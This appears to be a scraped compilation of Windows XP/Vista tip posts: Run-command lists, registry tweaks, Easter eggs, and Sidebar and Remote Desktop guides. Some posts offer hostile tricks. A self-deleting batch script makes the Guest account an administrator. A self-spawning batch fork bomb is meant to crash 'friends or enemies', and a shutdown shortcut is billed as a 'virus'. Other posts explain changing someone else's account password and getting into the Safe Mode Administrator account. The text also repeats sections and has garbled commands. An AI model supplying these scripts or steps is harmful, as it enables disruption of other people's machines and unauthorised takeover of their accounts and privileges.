Windows Vista Theme For Windows XP

Windows Vista Theme For Windows XP

One of the more visible changes of the Windows Vista operating system was the Windows Vista Sidebar which made it possible to put so called gadgets on the Windows.Gadgets are small applications that can display all kinds of information such as RSS news feeds, contacts or system information.



Many Windows Vista users like the Windows Sidebar, others feel that it is to restricted to one part of the screen. Microsoft has already announced that they will change that behavior in Windows 7 so that users can place gadgets wherever they want on the desktop.

It was only a matter of time until someone would port the Windows Vista Sidebar to Windows XP. Joshoon managed to port the real Windows Sidebar to Windows XP by making use of Alky For application. You might remember Alky from the time when Windows Vista came out. That was at the same time when Microsoft announced Vista only applications and Alky was supposed to make them compatible with Windows XP (like the games Shadowrun or Halo 2)



The pack includes three different applications that are needed to install, display and maintain the Windows Vista Sidebar in Windows XP. First there is Alky For Applications which can simply be installed. Once that is done the Windows Vista Sidebar can be installed and will be operational afterwards. The pack comes with many gadgets and a tool called Gadget Gallery which can be used to add new gadgets to the sidebar.
Already available gadgets can be added by right-clicking the sidebar and selecting a gadget from the list of installed gadgets. Each gadget can be added by right-clicking it and selecting Add from the context menu.



Even more interesting than this is the ability to download gadgets from the Windows Vista Gallery site over at Microsoft. It requires some manual work but it’s easily done and works perfectly fine. The gadget needs to be downloaded and unpacked. It comes with the .gadget extension but it can easily be unpacked by most unpackers. Worked fine with 7-zip.

The directory that will be created by unpacking the .gadget file, adding the .gadget extension to the root directory of it and moving it to the Shared Gadgets directory of the sidebar application.
One interesting feature is the ability to detach a gadget from the sidebar so that it can be moved freely around on the desktop.
The Sidebar requires roughly 20 Megabytes of computer memory when displaying the default three gadgets. 

Toolbox for Vista new version of XdN Tweaker

Toolbox for Vista new version of XdN Tweaker

A new version of the software XdN Tweaker is available for downloading. At the time of a preceding topicality, we presented XdN Tweaker to you, a free toolbox intended for the operating system Windows in its variations 2003, XP and Vista. A new 0.8.7.6 grinding has been just published, the occasion to present it again to you or to discover it for those among you who would have missed the topicality.



A recall of the adjustments suggested:

The UAC (To use Account Control)

The control panel

The multi-media reader

The right click of the mouse

Files and files

Associations of files

The menu to start

The navigator Internet Explorer 7.0

The customer of email Outlook Express/Windows Email

Parameters TCP/IP (Transfer Protocol Control/Internet Protocol)

The parameters system

Contributions of this new version:

The addition of the options “To copy towards” and “To move towards” in the page dedicated to the right click

The addition of one second page for the right click, in the version Windows Vista

Suppression of the sound adjustments, in the versions Windows 2003 and Windows XP

The light final improvement of the graphic interface

Corrections of bugs minors

For the interested people, the file of installation weighs 225 KB and could bedownloaded from this page.

Run Commands In Windows XP

Run Commands In Windows XP

You can access all these programs by going through START/RUN or
Simply Click Windows Key+r

1. SQL Client Configuration - cliconfg
2. System Configuration Editor - sysedit
3. System Configuration Utility - msconfig
4. System File Checker Utility (Scan Immediately)- sfc /scannow
5. System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
6. System File Checker Utility (Scan On Every Boot) - sfc /scanboot
7. System File Checker Utility (Return to Default Setting)- sfc /revert
8. System File Checker Utility (Purge File Cache)- sfc /purgecache
9. System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
10. System Information - msinfo32.


11. Task Manager – taskmgr
12. System Properties - sysdm.cpl
13. Task Manager – taskmgr
14. TCP Tester - tcptest
15. Telnet Client - telnet
16. Tweak UI (if installed) - tweakui
17. User Account Management- nusrmgr.cpl
18. Utility Manager - utilman
19. Windows Address Book - wab
20. Windows Address Book Import Utility - wabmig
21. Windows Backup Utility (if installed)- ntbackup
22. Windows Explorer - explorer
23. Windows Firewall- firewall.cpl
24. Windows Magnifier- magnify

25. Windows Management Infrastructure - wmimgmt.msc
26. Windows Media Player - wmplayer
27. Windows Messenger - msmsgs
28. Windows Picture Import Wizard (need camera connected)- wiaacmgr
29. Windows System Security Tool – syskey
30. Windows Update Launches - wupdmgr
31. Windows Version (to show which version of windows)- winver
32. Windows XP Tour Wizard - tourstart
33. Wordpad - write
34. Password Properties - password.cpl
35. Performance Monitor - perfmon.msc
36. Phone and Modem Options - telephon.cpl
37. Phone Dialer - dialer
38. Pinball Game - pinball
39. Power Configuration - powercfg.cpl
40. Printers and Faxes - control printers
41. Printers Folder – printers
42. Private Character Editor - eudcedit
43. Quicktime (If Installed)- QuickTime.cpl
44. Real Player (if installed)- realplay
45. Regional Settings - intl.cpl
46. Registry Editor - regedit
47. Registry Editor - regedit32
48. Remote Access Phonebook - rasphone
49. Remote Desktop - mstsc
50. Removable Storage - ntmsmgr.msc
51. Removable Storage Operator Requests - ntmsoprq.msc
52. Resultant Set of Policy (XP Prof) - rsop.msc
53. Scanners and Cameras - sticpl.cpl
54. Scheduled Tasks - control schedtasks
55. Security Center - wscui.cpl
56. Services - services.msc
57. Shared Folders - fsmgmt.msc
58. Shuts Down Windows - shutdown
59. Sounds and Audio - mmsys.cpl
60. Spider Solitare Card Game - spider
61. Malicious Software Removal Tool - mrt
62. Microsoft Access (if installed) - access.cpl
63. Microsoft Chat - winchat
64. Microsoft Excel (if installed) - excel
65. Microsoft Frontpage (if installed)- frontpg
66. Microsoft Movie Maker - moviemk
67. Microsoft Paint - mspaint
68. Microsoft Powerpoint (if installed)- powerpnt
69. Microsoft Word (if installed)- winword
70. Microsoft Syncronization Tool - mobsync
71. Minesweeper Game - winmine
72. Mouse Properties - control mouse
73. Mouse Properties - main.cpl
74. Nero (if installed)- nero
75. Netmeeting - conf
76. Network Connections - control netconnections
77. Network Connections - ncpa.cpl
78. Network Setup Wizard - netsetup.cpl
79. Notepad - notepad
80. Nview Desktop Manager (If Installed)- nvtuicpl.cpl
81. Object Packager - packager
82. ODBC Data Source Administrator- odbccp32.cpl
83. On Screen Keyboard - osk
84. Opens AC3 Filter (If Installed) - ac3filter.cpl
85. Outlook Express - msimn
86. Paint – pbrush
87. Keyboard Properties - control keyboard
88. IP Configuration (Display Connection Configuration) - ipconfi/all
89. IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
90. IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
91. IP Configuration (Release All Connections)- ipconfig /release
92. IP Configuration (Renew All Connections)- ipconfig /renew
93. IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
94. IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
95. IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
96. Java Control Panel (If Installed)- jpicpl32.cpl
97. Java Control Panel (If Installed)- javaws
98. Local Security Settings - secpol.msc
99. Local Users and Groups - lusrmgr.msc
100. Logs You Out Of Windows - logoff.....
101. Accessibility Controls - access.cpl
102. Accessibility Wizard - accwiz
103. Add Hardware - Wizardhdwwiz.cpl
104. Add/Remove Programs - appwiz.cpl
105. Administrative Tools control - admintools
106. Adobe Acrobat (if installed) - acrobat
107. Adobe Designer (if installed)- acrodist
108. Adobe Distiller (if installed)- acrodist
109. Adobe ImageReady (if installed)- imageready
110. Adobe Photoshop (if installed)- photoshop
111. Automatic Updates - wuaucpl.cpl
112. Bluetooth Transfer Wizard – fsquirt
113. Calculator - calc
114. Certificate Manager - certmgr.msc
115. Character Map - charmap
116. Check Disk Utility - chkdsk
117. Clipboard Viewer - clipbrd
118. Command Prompt - cmd
119. Component Services - dcomcnfg
120. Computer Management - compmgmt.msc
121. Control Panel - control
122. Date and Time Properties - timedate.cpl
123. DDE Shares - ddeshare
124. Device Manager - devmgmt.msc
125. Direct X Control Panel (If Installed)- directx.cpl
126. Direct X Troubleshooter- dxdiag
127. Disk Cleanup Utility- cleanmgr
128. Disk Defragment- dfrg.msc
129. Disk Management- diskmgmt.msc
130. Disk Partition Manager- diskpart
131. Display Properties- control desktop
132. Display Properties- desk.cpl
133. Display Properties (w/Appearance Tab Preselected)- control color
134. Dr. Watson System Troubleshooting Utility- drwtsn32
135. Driver Verifier Utility- verifier
136. Event Viewer- eventvwr.msc
137. Files and Settings Transfer Tool- migwiz
138. File Signature Verification Tool- sigverif
139. Findfast- findfast.cpl
140. Firefox (if installed)- firefox
141. Folders Properties- control folders
142. Fonts- control fonts
143. Fonts Folder- fonts
144. Free Cell Card Game- freecell
145. Game Controllers- joy.cpl
146. Group Policy Editor (XP Prof)- gpedit.msc
147. Hearts Card Game- mshearts
148. Help and Support- helpctr
149. HyperTerminal- hypertrm
150. Iexpress Wizard- iexpress
151. Indexing Service- ciadv.msc
152. Internet Connection Wizard- icwconn1
153. Internet Explorer- iexplore
154. Internet Setup Wizard- inetwiz 

Pop up banner each time window opens

Pop up banner each time window opens 








To pop a banner which can contain any msg you want 2 display just b4 a user is goin to log on.

Go to run and type regedit and press enter.
Then go to key
HKEY_LOCAL_MACHINE>software>Microsoft>windows>current version>winlogon

Now create a new string value in the right pane named "LegalNoticeCaption" and enter the value that u want ti see in menubar.




Now create another new string value in the right pane named "LegalNoticeText".
Modify it and insert the msg you want 2 display each time windows boots.
Its".reg"file would b:

Name==REGEDIT4
code=="[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionWinlogon]"legalNoticeCaption"="Captionhere."

Type the code in notepad and name written above.
add the registry and ok.
Its working really 

Hidden feature on Windows Xp

Hidden feature on Windows Xp

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1. Application Secrets

Defrag
Secret - Hidden Command Line Switch
Instructions - Go to "Start", "Run" and Type defrag c: -b to defragment the Boot and Application Prefetch information. Similar to what BootVis invokes.

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Paint
Secret - Image Trails
Instructions - Open an image and hold down Shift then drag the image around to create an image trail.

Secret - 10 X zoom
Instructions - Open an image and select the magnifying glass icon. Left-click exactly on the line below the 8 X.

2. OS Secrets

Add/Remove
Secret - Hidden Uninstall Options
Instructions - Warning: Proceed at your own risk.
Browse to C:Windowsinf and make a backup copy of sysoc.inf. Then open the original file C:Windowsinfsysoc.inf in notepad. Go to "Edit" and select "Replace". In "Find what" type, hide and in "Replace with:" type, then select "Replace All", save and close the file. Go to the control panel, "Add/Remove", select "Add/Remove Windows Components". You will now see many more Windows components to uninstall. Do not remove anything with no label or that you do not recognize or fully understand what it does. Doing so can break certain functionality in Windows.

Control Panel
Secret - Hidden Control Panel Extensions
Instructions - Download and install Tweak UI, launch, go to "Control Panel" and check any item not selected, then "Apply" and "OK". You will now see the hidden control panel extensions.

Device Manager
Secret - Hidden Devices
Instructions - Go to the control panel, "System" icon, "Hardware" tab and select "Device Manager". Select View and Show hidden devices.

Music
Secret - Music from the Installer
Instruction - Browse to C:Windowssystem32oobeimagestitle.wma and play

Shutdown
Secret - Display Hibernate Option on Shut Down dialog.
Instructions - Go to "Start", "Turn Off Computer" and press either Shift key to change "Stand By" button to "Hibernate".

Convert Guest to admin in windows Xp

Convert Guest to admin in windows Xp

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Convert Guest to admin in windows Xp

[Start copying]

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

[End copying]

Copy it in NOTEPAD and save the file as "Guest2admin.bat"

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then u can double click the file to execute or run in the cmd.
it works...

Note : Make sure that you have Guest profile on

Tips and tricks for windows xp

Tips and tricks for windows xp

1. If you want to increase the speed of your start menu than do the following thing: Go to start menu - run - and type regedit - registry editor will get displayed than - click on HKEY_CURRENT_USER - a large list will get displayed - go to control panel - again a large list will get displayed - click on desktop only once - other side of it will display u large number of list - than try to search file name MenuShowDelay - click on it - value data will be 400 make it 0 - close all the programmes and restart your comp.

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2. If u want to create duplicate virus than do the following thing:
Go to desktop - right click anywhere - go to new - shortcut - u will get a small box - there type in the following thing where they tell you to specify location just write the following thing - shutdown -s -t 200 -c "this is a virus" - click next - it will make your computer shut down after every 3.20 minutes you can increase it by replacing 200 and write it in seconds - And if you want to disable this virus than do the following thing :
Go to run - and type -
Shutdown.exe
-a this will make your computer normal

3. If you want to crash down the system of your friends or your enemy than do the following thing:
WARNING once saved dont open!!
type the following in notepad and save...

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the main code is:
start virus.bat
virus.bat

save it as (any name u want).bat

4. You want to create an invisible folder than do the following:
Invisible folder...
right click on background - new folder - rename it to (hold alt 0160) - done
name is invisible but not folder, so to make the folder invisible right click and click properties - click on customize - click on change icon - u will get an invisible icon - click and done dnt try to loose it...

Create your own icons using Windows XP

Create your own icons using Windows XP

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It's shockingly easy to create your own icons using Windows XP... Let's do it!

Click Start, click All Programs, click Accessories, and then click Paint

On the Image menu, click Attributes

Type 32 for both the Width and Height of the document, and make sure that Pixels is selected under Units

Click OK to create a new 32x32-pixel document: the size of an icon

Now add type, color, or do whatever you'd like to your image.

I like to shrink photos (headshots work great) to 32x32 and simply paste them into my Paint document.

When you're finished, open the File menu and click Save As.

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Use the dialog box to choose where you want to save your file, then give it a name followed by ".ico" and click Save.

You just created an icon! Now you can change any shortcut or folder to your own icon!

Now you just right click on any icon, click Properties, select change icon.

Select browse and follow the path you set to your newly created masterpiece!

Hidden Quotes In Windows Xp

Hidden Quotes In Windows Xp

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There is a secret file in Windows XP called "quotes". In order to get there you must be somewhat familiar with how to use Windows, simply open up My Computer (explorer) and double click on your main drive (probably C next navigate to: C:>WINDOWS>SYSTEM32>DRIVERS>etc This is where the quotes file is. Open the file named quotes in your favorite text editor (notepad, MS Word, Emacs:p ) then look at the quotes put there by the MS developers!
**note: I use Windows XP Pro, it might only work in professional edition **

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On the screen in Win XP Pro where one logs in initially, there is a tiny little Easter Egg.

Simply leave your computer on that screen long enough for the screensaver to come on. Then move the mouse.
What happened?
Well, look in the bottom left corner. The litte button marked "Turn of computer" now reads "Turn off Banana 2000"!
((For those who don't ge it, in the comic strip Bloom County, one character owned a Banana 2000 computer, which eventually became a character in its own existential right... walking around and everything))

Special Requirements:
Windows XP Pro
Candy Cane Pipes

1.Go to Display Properties
2.Click the Screen saver tab then Click 3D Pipes 3.Click Settings
4.Click Textured
5.Click Choose Texture
6.Click Cancel.
7.Click OK on the Screen Saver Setup
Now The Pipes
should be Candy Cane Colored!

Install Xp From Dos

Install Xp From Dos 

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If XP will not install from the CD or if you have a new drive with no operating system on it yet try these:

Install Windows XP from the hard drive with Windows 98 already installed:

Boot Windows 98

Insert the XP CD into your CD reader

Explore Windows XP through My Computer

Copy i386 folder to C:

Go into C:i386 folder and double click on winnt32.exe to launch the setup from the hard drive

Install Windows XP from DOS (ie. no OS on a new hard drive):

Boot with a Windows 98 Start Up disk

Insert the Windows 98 CD into the CD reader

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Run smartdrv.exe from the Win98 directory on the windows 98 CD (file caching)

Type cd.. to back up to the root directory

Insert Windows XP CD into the CD reader

Copy the i386 folder to C:

Go into C:i386 folder on C: and type winnt.exe to launch the setup from the hard drive.

Some hidden programs in window xp

Programs :

1. Private Character Editor :
Used for editing fonts,etc.
** start>>Run

** Now, type eudcedit

2. Dr. Watson :
This an inbuilt windows repairing software !
** start>>Run
** Now, type drwtsn32

3. Media Player 5.1 :
Even if you upgrade your Media Player, you can still access your old player in case the new one fails !!!
** start>>Run
** Now, type mplay32

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4. iExpress :
Used to create Setups
You can create your own installers !
** start>>Run
** Now, type iexpress

Forgot Window Logon password

Forgot Logon password ?.....don't worry
Forget password dont worry


Whenever u install XP, it automatically creates a built in account called "Administrator". It has administrative priviliges. Most Windows users don't use this account since its not displayed on the welcome screen. One more thing bout dis account is that it is not password protected (until n unless u have changed the password).
To access this account you have 2 start XP in Safe mode.

To start XP in Safe mode:

1. Restart XP.
2. Before it starts to load, press F8 key continously.
3. A menu will appear. In that select 1st option ie. Safe Mode and press enter.
4. Next it shows all the Windows OS installed on your hard drive. Select the one of which you have forgotten the password and press enter.
5. Wait for OS to load...
6. On the welcome screen you can now see the built in Administrator account. Just log in...:)

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7. If you have a classic logon then in User name field type "Administrator" and press enter...
8. Enjoy...:)

Hidden Internet Browser in XP

Hidden Internet Browser in XP

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[Hidden] Internet Browser in XP
Ever been on PC where Internet Explorer was blocked? One solution would be to use a portable version of Firefox on a USB drive, or you can access a hidden browser in Microsoft HTML Help program if removable media is not an option. This was tested on Windows XP SP2 with Internet Explorer 6 and Internet Explorer 7.
Open calculator. You can do this quickly with Windows button+R on your keyboard, type calc in the run box, click OK.

In Microsoft Calculator go to Help -> Help Topics.

Now right click on the left hand side of the title bar and click on Jump To URL...

Type in the URL including the ‘http://’

and off you go. Repeat to visit other sites.

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Essentially this is Internet Explorer embedded inside of the HTML Help application. Adobe Flash isn’t working in my hidden browser, but a quick visit to Adobe took care of it.

Clearing the Documents History Automatically

Clearing the Documents History Automatically

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The windows Documents Menu display all the information about last used files and programs as a history. Your co-workers, family members can trace your activities on the computer with clicking on Documents menu. If you are using internet at any public place like internet cafe then you should clear your documents menu history to safe yourself from cyber crimes. You can clear the documents menu history manually, but automatically history clean option can be useful if one computer used by multiple people. To clear the document history automatically, edit the computer registry keys.

Click Start button then type regedit in Run option then press Enter for next.

Here locate the location to:

Go to HKey_Current_User Software Microsoft Windows CurrentVersion Explorer User Shell Folders

Here in right side panel, double click on Recent and change its value of C:RECYCLED.

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Now set your Recycle bin, "remove files immediately when deleted".

Now close the registry editor and restart your computer after any changes to go into effect.

Change someone's windows password

This hack works if you are at someone else's home and you are logged into the account of the person whose account you want to hack. This also works if you want to hack someone else's account on your pc bit do not know his/her password.
Click on START-->RUN.
Type compmgmt.msc & press enter.
In the left pane, select COMPUTER MANAGEMENT--> SYSTEM TOOLS--> LOCAL USERS AND GROUPS--> USERS.
Then in the right pane, select the user name whose account you want to hack. RIGHT
CLICK and then click on SET PASSWORD from the pop-up menu.

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Enter the new password. Click on OK.

Folder option missing

Many of us sometimes find the folder options missing in windows explorer.
Here's the solution-->

Open Run and then type "gpedit.msc".
Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu" Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

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I hopes that you will find the option after restarting windows.

How To Delete Annoying Multiple Entries in Boot Screen

How To Delete Annoying Multiple Entries in Boot Screen 
    

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Suppose you have multiple copies of Windows XP installed in your PC in different drives or installed Windows XP on top of another operating system like Windows 98 or Windows 2000. Now, though you may have removed some or all of the older versions, still the boot screen continues to show the old operating system entries. Isn't it annoying and confusing to remember and select every time the only right option? Don't worry, here is how you can get rid of the problem forever:

1. Load windows and login if required
2. Go to Start menu, click on Run and then type cmd. This open up the command window.
3. Type this command:
bootcfg /delete /id x
where x is the number of the option you want to delete. Say, for example, you want to delete 2nd boot option then you will type bootcfg 
/delete /id 2 and so on.
4. Now reboot the machine to check that you have only the correct option(s) available.

New Live Maps Search Gadget

There’s a new Windows Vista Sidebar Gadget that brings Windows Live Maps to your desktop. 
Unlike the previous one, which did a great job of tracking traffic conditions in your area, this one is used to search Live Maps, even planning a route and getting directions right from the Gadget. 

Read more at Mike Ormond’s blog where he explains the Gadget (he wrote it, after all).

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Download the Gadget here 

Toolbox for Vista new version of XdN Tweaker

Toolbox for Vista new version of XdN Tweaker

A new version of the software XdN Tweaker is available for downloading. At the time of a preceding topicality, we presented XdN Tweaker to you, a free toolbox intended for the operating system Windows in its variations 2003, XP and Vista. A new 0.8.7.6 grinding has been just published, the occasion to present it again to you or to discover it for those among you who would have missed the topicality.
A recall of the adjustments suggested:

The UAC (To use Account Control)

The control panel

The multi-media reader

The right click of the mouse

Files and files

Associations of files

The menu to start

The navigator Internet Explorer 7.0

The customer of email Outlook Express/Windows Email

Parameters TCP/IP (Transfer Protocol Control/Internet Protocol)

The parameters system

Contributions of this new version:

The addition of the options “To copy towards” and “To move towards” in the page dedicated to the right click

The addition of one second page for the right click, in the version Windows Vista

Suppression of the sound adjustments, in the versions Windows 2003 and Windows XP

The light final improvement of the graphic interface

Corrections of bugs minors

For the interested people, the file of installation weighs 225 KB and could bedownloaded from this page.

How to turn on Remote Desktop in Windows Vista

In Vista , the Remote Desktop connection feature is disabled by default .If you need to access your PC from another system or vice versa , you can easily enable this feature .

To do so :

1) Right Click the "My Computer" desktop icon and click "Properties"

2) On the left pane , click the remote settings link.

3) Select "Allow Assistance connections to this computer".

4) To allow connections from any windows version , click the "Allow connections from computers running any version of Remote desktop" radio button.

5) Once done , click "Ok".